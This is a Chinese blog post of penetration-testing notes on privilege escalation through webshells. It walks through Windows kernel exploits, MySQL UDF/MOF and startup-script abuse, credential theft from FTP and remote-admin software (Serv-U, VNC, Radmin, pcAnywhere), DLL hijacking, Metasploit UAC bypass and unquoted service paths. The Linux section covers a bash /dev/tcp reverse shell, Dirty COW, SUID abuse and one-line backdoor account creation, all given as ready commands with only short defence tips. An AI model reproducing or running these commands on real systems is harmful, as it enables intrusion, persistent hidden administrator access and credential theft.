17.提权

作者: 皮蛋是个臭蛋 | 来源:发表于2020-08-27 08:54 被阅读0次

    提权方法:
    溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方软件提权(serv-u、flashFxp、genne6 Ftp、vnc、radmin 、 zend、dll劫持、perl、cacle、pcanyWhre等)

    windows提权(sc提权、不带引号的服务路径[在文件夹名称带空格的文件夹下放一个msf木马,进行shell反弹]、不安全的服务权限、)、linux提权(脏牛提权、suid提权)

    数据库脱库可以使用工具 通过百度查找Navicat Mysql、Navicat for SQL Server、Navicat for Oracle、Navicat for PostgreSQL、Navicat for SQLite等,也可以使用其它工具代替,如sqlmap、k8等类似工具。

    2 提权

    2.1 溢出漏洞提权

    溢出漏洞的全名:缓冲区溢出漏洞 因为它是在程序执行的时候在缓冲区执行的[错误代码]。所以叫缓冲区溢出漏洞。

    cmd.exe执行命令时需要读取和写入权限,且需要授予iuser权限。默认只有读取的权限。
    上传大马或者菜刀使用cmd时,无法成功执行命令,
    原因可能是运维人员把cmd的权限进行了调低。只有管理员有写入权限。

    如何解决:
    使用大马或菜刀,查看哪些目录具有写入权限(不能找带空格的目录),上传一个cmd.exe到目录,并设置新的终端路径: setp c:\xxx\cmd.exe ,这样就使用新的cmd.exe执行命令。

    提权常用的命令有:

    whoami ——查看用户权限
    systeminfo ——查看操作系统,补丁情况
    ipconfig——查看当前服务器IP ipconfig /all
    net user——查看当前用户情况
    netstat ——查看当前网络连接情况  netstat –ano  /netstat –an | find “ESTABLISHED”
    tasklist ——查看当前进程情况 tasklist /svc 
    taskkill ——结束进程 taskkill -PID xx
    net start  ——启动服务
    net stop ——停止服务
    
    
    net user best 123456 /add 添加用户名为best,密码为123456
    net localgroup administrators best /add 将用户名为best的用户添加到管理员组
    net user best /del 删除best用户
    
    

    快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:

    systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
    
    image.png
    可以去下面的网址去下载对应的exploits:
    https://github.com/SecWiki/windows-kernel-exploits
    https://github.com/WindowsExploits/Exploits
    https://github.com/AusJock/Privilege-Escalation

    2003系统比较出名的提权是巴黎烤肉提权、pr提权(ms-09-012)

    2.1.1 pr.exe提权

    Windows Server 2003和windows xp系统能够使用 pr 提权。如果目标机打上了 KB952004补丁 的话,是没有办法使用pr进行提权的。
    1.将pr.exe上传。
    2.运行pr.exe,并使用命令添加账户并添加到管理原组。

    pr.exe "net user hack 123 /add"   #新建一个hack用户,密码为 123
    pr.exe "net localgroup administrators hack /add" #将hack用户加入administrators管理员组
    

    3.就可以用远程桌面登录了,前提是目标主机开启了3389远程端口。
    也可以使用pr.exe后接工具开启3389端口。

    pr.exe "opents.exe"
    

    2.1.2 巴西烤肉漏洞

    churrasco.exe是2003系统一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的。
    1.上传churrasco.exe
    2.在命令行直接输入命令,添加账号
    D:\churrasc.exe "net user"

    image.png

    溢出漏洞防范方法:打补丁。

    2.2 数据库提权

    2.2.1 mysql提权

    mysql提权的前提条件是获取mysql账号,密码。以及是否有远程访问权限。
    1.如何获取mysql账号,密码
    方法一:
    webshell查看网站配置文件。
    如:conn、config、data、sql、common 、inc等。

    方法二:
    查看数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd和user.myi

    方法三:
    通过暴力破解得到(hscan、Bruter、hydra、脚本木马)

    注意事项:
    一、基于安全考虑root账户一般只能本地访问,但是在开发过程中可能需要打开root的远程访问权限。下面是基本的步骤:
    1、登录到mysql中,为root进行远程访问的授权,执行下面的命令:

    mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
    mysql> flush privileges;
    

    第一句中"%"表示任何主机都可以远程登录到该服务器上访问。
    如果要限制只有某台机器可以访问,将其换成相应的IP即可,

    GRANT ALL PRIVILEGES ON *.* TO root@“%" IDENTIFIED BY "root";
    

    第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。

    二、mysql数据库密码保存文件
    参考:http://blog.sina.com.cn/s/blog_8028ba2f0100rzpt.html

    三、菜刀数据库连接、大马777.php、其它工具爆破
    不推荐脚本,速度慢。

    2.2.1.1 udf提权

    1.可以使用工具mysql综合利用工具。
    需要输入ip,数据库密码,以及导入的目录(如果是手工安装的mysql:默认目录是c:\windows\system32\udf.dll;如果是phpstudy集成环境,则需要在安装目录下的mysql/lib目录下创建plugin文件夹。
    目录是:)


    image.png

    2.执行SQL,打开3389端口,添加用户等。
    添加用户:
    select cmdshell('net user 11 test /add');


    image.png
    打开3389端口:
    Create Function open3389 returns string soname 'udf.dll';
    select open3389();
    image.png

    3.我们也可以使用上传moon.php大马来进行连接。

    2.2.1.2 mof提权

    1.可以使用工具,创建账户会5分钟创建一个,且删除会再生。


    image.png

    2.使用菜刀上传文件moon.mof,这个文件是创建一个admin账号。
    并执行命令:

    select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';
    

    2.2.1.3 mysql启动项提权

    1、通过mysql数据库命令写入VBS脚本;

    2、直接通过Webshell的Mysql写入启动项;

    3、通过MS12-020、MS15-034重启服务器。

    C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
    mysql>drop database test1;
    mysql> create database test1;
    mysql> use test1;
    mysql> create table a (cmd text);
    mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
    mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");
    mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
    注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
    mysql>select * from a;
    mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs";
    
    最后通过溢出漏洞让服务器重启,如:MS12-020、MS15-034
    
    
    

    2.2.2 mssql提取

    溢出漏洞是针对server 2000,2000之后的版本很少有。目前主要是通过弱口令直接提权。

    1.可以使用工具其他工具--sql链接--sqltools2.0.


    image.png

    2.2.3 安全防御

    1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。

    2、不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并限格控制好权限。

    3、及时升级数据库补丁。

    4、安装Waf进行防御。
    5、购买数据库审计设备

    2.3 第三方提权

    2.3.1 serv-u提权

    存在漏洞的地方:
    1.5.04以下版本可用servux.exe进行远程溢出漏洞。
    2.权限配置不当可用svu.exe添加管理员账号。添加命令:
    ** svu.exe -i ip地址 -u 用户 -p 密码 -a 路径**
    3.serv-u目录文件存在修改权限,直接修改配置文件添加管理用户。
    4.serv-u目录文件不存在修改权限,可直接通过serv-u默认本地管理员提权。

    2.3.1.1 安装配置serv.exe

    1.安装并破解serv.exe。
    双击setup.exe(汉化包),路径选择serv.exe的安装路径。


    image.png

    破解:
    运行patch.exe。


    image.png
    1. 打开serv.exe,并进行配置域。新建域,ip动态可不填,一切默认。


      image.png

      新建用户,创建用户名,密码等等。


      image.png
      给与新建的test账号系统管理员权限,并且设置目录访问权限。
      image.png

    2.3.1.2 提权

    方法一:运行大马,使用大马中的serv-u提取功能进行提权,服务端口号为:43958(也可以使用端口扫描查看是否开启了serv-u.exe)
    这个方法是添加了一个隐藏的管理员账号。

    image.png

    方法二:
    1.创建的用户信息保存在安装目录下的Serv-U\ServUDaemon.ini中。


    image.png image.png

    在serv-u的客户端刷新一下,可以查看添加的test1。


    image.png

    2.在物理机的cmd.exe上可以访问ftp,进行添加账户。
    在ftp命令行中添加账号的命令为:

    quote site exec net user best666 best /add
    quote site exec net localgroup administrators best666 /add
    
    image.png
    image.png

    2.3.2 FlashFxp提权

    渗透测试人员只需下载quick.dat、sites.dat、stats.dat这三个文件进行本
    地替换,就可以获取登录密码。
    1.安装flashfxp之后,查看站点,密码可以使用星号密码克星软件进行查看。


    image.png

    2.3.3 Gene6 ftp提权

    2.3.3.1 genne6 安装

    1.安装fenne6,设置登录密码,并进行汉化。汉化时要把垃圾软件取消勾选。默认安装路径是C:\Program Files\Gene6 FTP Server


    image.png

    语言选择中文。


    image.png
    2.主配置文件是Remote.ini,其路径是
    C:\Program Files\Gene6 FTP Server\RemoteAdmin\Remote.ini。管理员登录的ip、端口和密码都存储在这。但Gene

    6管理员帐号只充许本地登录。 只能通过Webshell转发端口才可以进行远程连接。


    image.png

    2.3.3.2 提权

    1.使用菜刀上传工具lcx.exe
    使用命令
    lcx.exe –tran 600 127.0.0.1 8021 进行端口转发。


    image.png

    2.在win7系统上也安装genne6,并新建连接,输入目标ip和转发的端口600.


    image.png

    3.对win7电脑上的genne6进行设置,新建域名,并选择侦听的ip为192.168.60.102


    image.png

    在ftp命令模式下使用quote site 123 可以运行cmd.exe


    image.png

    新建用户:


    image.png
    设置用户的权限:
    image.png

    4.可以在win2003的系统上看到在win7系统上新添加的用户test1。

    2.3.4 PcanyWhere提权

    使用的端口是5631,5632.

    1.该软件的默认安装路径为C:\Program Files\Symantec\pcAnywhere\

    *.cif文件默认路径为C:\DocumentS and Settings\All Users\ApplicationData\Symantec\pcAnywhere\Hosts\
    

    2.使用webshell下载*.cif文件,使用PCAnyPass.exe破解密码。

    image.png
    1. 在另一台电脑上安装 PcanyWhere软件,创建连接,输入账号密码。

    2.3.5 Vnc提权

    vnc的端口是5900/5800,可以使用端口扫描来判断是否安装此软件。
    1.vnc的密码是保存在
    注册表中,可以在命令行输入命令cmd /c "regedit /e c:\123.reg"HKEY_LOCAL_MACHINE\software\RealVNC\WinVNC4" ",将信1息保存为123.reg。
    可以使用软件vncx4.exe进行破解。

    image.png

    2.3.6 Radmin提权

    2.3.6.1 Radmin安装设置

    1.安装Radmin,将软件包中的server.exe和和admdll.dll放在vm里面,cmd下运行server.exe /setup 设置密码及输入注册信息。也可以设置图标隐藏。


    image.png image.png

    2.在物理机上运行radmin.exe控制虚拟机的设备。


    image.png

    可以使用以下功能:


    image.png

    2.3.6.2提权

    通过上传的大马的功能radmin读取hash或者是注册表读取hash值进而控制虚拟机。
    1.大马读取出的hash值密码需要转换一下大小写,将大写字母转换成小写。


    image.png

    2.注册表读取需要使用命令:

    cmd /c "regedit /e c:\123.reg "HKEY_LOCAL_MACHINE\system\RAdmin\v2.0\Server\Parameters""
    
    image.png

    3.使用hash做为密码时需要使用Radmin_Hash.exe软件。


    image.png

    2.3.7 Zend 提权

    phpstudy默认集成了zend,其路径是:安装目录\php-5.2.17\ZendOptimizer。

    1.通过webshell对原ZendExtensionManager.dll重命名,同时上传nc.exe(瑞士军刀)和cmd.exe。


    image.png

    2.在物理机打开Zend_DLL_Hijacking_for_nc.exe软件,进行配置。通过工具重新生成一个来木马ZendExtensionManager.dll让apche重启加载。
    3、等apache重新加载,如果没有加载可以手工重启apache加载
    4、telnet ip 1111登录目录服务器


    image.png

    2.3.8 DII劫持提权

    要求:目录可读可写,目录下有exe文件。

    1.使用工具T00ls Lpk Sethc v4.0.exe生成LPK.dll文件,使用webshell上传到一个可读可写,目录下有exe文件的目录。


    image.png

    2.运行目录下的exe文件,然后重启电脑。在登陆页面先按5次shift建,之后再同时按下ab键,输入密码,就实现了dll劫持。


    image.png
    image.png

    2.3.9 Windows空格、服务、漏洞提权

    2.3.10 perl与cacls提权

    1.cacls提权,使用命令:
    cacls c:\index.asp /t /e /c /g interactive:f
    把index.asp加入interactive组并赋予完全控制权限(IIS的IUSER_用户就在这一组中).这样就可以对index.asp任意编辑。

    Cacls filename [/T] [/E] [/C] [/G usererm] [/R user [...]] [/P usererm [...]] [/D user [...]]
    Filename:显示访问控制列表(以下简称ACL)
    
    
    /T:更改当前目录及其所有子目录中指定文件的ACL
    /E:编辑ACL而不替换
    /C:在出现拒绝访问错误时继续 
    /G Userer:perm:赋予指定用户访问权限,Perm代表不同级别的访问权限,其值可以是R(读取)、W(写入)、C(更改,写入)、F(完全控制)等。
    /R user:撤销指定用户的访问权限,注意该参数仅在与“/E”一起使用时有效。
    /P user:perm:替换指定用户的访问权限,perm的含义同前,但增加了“N(无)”的选项。
    /D user:拒绝指定用户的访问
    
    
    image.png

    3 windows提权

    uac:是windows的安全机制。(2003版本没有)

    当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac。

    3.1 使用木马提权

    1.在win7新添加一个用户,新添加的用户默认属于user组。并切换到新加用户的模式下。


    image.png
    image.png

    2.用kali生成payload.exe并下载下来上传至win7系统。在win7运行建立会话。


    image.png image.png

    3.使用getuid查看当前权限,使用getsystem进行提权。


    image.png

    这个情况下我们需要bypass uac。

    方法一:
    使用use exploit/windows/local/ask这个payload。设置信息。

    或者使用use exploit/windows/local/bypassuac或者
    use exploit/windows/local/bypassuac_injection

    image.png
    image.png

    方法二:
    使用漏洞提权:
    使用ms11-080漏洞。


    image.png

    3.2 不带引号的服务路径

    参考:https://www.cnblogs.com/persuit/p/5916010.html

    windows服务运行时,如果有可执行文件且有完整路径,系统会按照字面解释执行。如果路径没有被包括在"(引号)中,操作系统就会找含有空格路径下的第一个实例。

    根据这个漏洞,我们可以上传木马,然后漏洞特性造成开机自启动。(上传之后需要重启)。

    1.使用命令查找带空格的目录:

    wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
    

    如果在cmd.exe下不能运行wmic,是环境变量没有进行配置。在path变量后添加C:\Windows\System32\wbem就可以
    2.将exe文件放在c:根目录下,重启电脑,看是否开机自启。

    3.3 sc 命令提权(adminstrator----system)

    SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
    主要使用的命令有;
    sc Create syscmd binPath= “cmd /K start” type= own type= interact
    //创建一个名叫syscmd的新的交互式的cmd服务,/k是启动后窗口不消失。\c是消失

    sc start systcmd //启动新建cmd服务


    image.png

    3.2 linux提权

    linux内核版本由3组数字组成,
    第一个数字是目前发布的内核主板本,
    第二个数字:偶数表示稳定版本,奇数表示开发中版本。
    第三个数字代表错误的修补次数。
    查看内核版本:uname -a
    查看发行版本:cat /etc/issue
    cat /etc/*-release

    3.2.1 反弹shell

    使用的工具是netcat(nc),瑞士军刀。
    1.在kali上使用nc模块,开启监听端口


    image.png

    2.在物理机上连接kali主机。
    nc在目录tools --提权工具--nc。

    3.2.2 bash直接反弹

    Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径。

    常用的参数有:
    bash -i :生成一个bash交互环境。

    /dev/tcp/目标ip/端口: /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。这个命令是让主机与目标主机建立一个tcp连接。

    &:将联合符号前面的内容和后面相结合然后一起重定向给后者。

    0>&1:将标准的输入与标准的输出内容结合,然后重定向给后面标准输出的内容。

    linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

    0 - stdin 代表标准输入,使用<或<<
    1 - stdout 代表标准输出,使用>或>>
    2 - stderr 代表标准错误输出,使用2>或2>>
    当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
    当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

    具体内容参考:https://blog.csdn.net/Auuuuuuuu/article/details/89059176?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param

    https://www.cnblogs.com/yyxianren/p/12665816.html

    1.在kuli系统输入命令:
    bash -i >& /dev/tcp/物理机ip/端口
    2.使用nc.exe软件,输入nc.exe -l -p 端口号


    image.png

    3.2.1.脏牛提权

    影响范围:linux内核>=2.6.22
    原理:关键函数使是get_user_pages,Copy_on_Write(cow)。
    get_user_pag内核函数在处理cow的过程中,产生了竞争造成了cow过程被破坏。
    复制只读页生成了一个带有写权限的新页。

    1.下载POC:https://github.com/FireFart/dirtycow

    2.利用gcc编译dirty.c文件

    gcc -pthread dirty.c -o dirty -lcrypt


    image.png
    image.png

    [图片上传中...(image.png-b1e76d-1598536884397-0)]


    image.png

    3.2 suid提权

    SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者(普通用户)暂时获得该文件拥有者的权限。
    suid提权:
    大概意思就是就是有个文件,它有s标志,并且他属主是root,普通用户运行这个程序就可以暂时有了root的权限,并且这个程序还得能执行命令。

    文件权限查询:
          # ll f1
          -rwsr-xr-x. 1 root root 0 Nov 17 20:18 f1
       文件属主的x权限,用s代替.表示被设置了SUID

    如果属主位没有x权限,会显示为大写S,表示有故障(权限无效)

    1.首先在本地查找符合条件的文件,有以下三个命令

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
    
    image.png

    列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件

    常用的可用于suid提权的文件
    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp

    namp(2.02-5.21)有交互模式,可以允许执行shell命令。

    如果支持交互的话,可以使用下命令进入namp交互模式
    nmap --interactive
    执行命令后会返回一个shell
    nmap> !sh
    sh-3.2# whoami
    root

    3.3 使用已对外公开的exp

    已对外公开 exp 注:

    https://github.com/SecWiki/linux-kernel-exploits https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/ https://github.com/xairy/kernel-exploits

    3.4 linux常用命令

    1.内核,操作系统和设备信息
    uname -a 打印所有可用的系统信息
    uname -r 内核版本
    uname -n 系统主机名。
    uname -m 查看系统内核架构(64位/32位)
    hostname 系统主机名
    cat /proc/version 内核信息
    cat /etc/*-release 分发信息
    cat /etc/issue 分发信息
    cat /proc/cpuinfo CPU信息

    2.用户和权限信息:

    whoami        当前用户名
    id            当前用户信息
    cat /etc/sudoers  谁被允许以root身份执行
    sudo -l       当前用户可以以root身份执行操作
    

    3.linux一句话添加账号

    (1)chpasswd 方法
    # useradd guest;echo 'guest:123456'|chpasswd
    (2)useradd -p 方法
    # useradd -p `openssl passwd 123456` guest
    (3)echo -e 方法
    # useradd test;echo -e "123456n123456n" |passwd test
    

    (6)其它

    Linux运维最常用150个命令](https://www.jianshu.com/p/979d8f5e5e65)

    vim必知必会的快捷键

    相关文章

      网友评论

          本文标题:17.提权

          本文链接:https://www.haomeiwen.com/subject/ryifsktx.html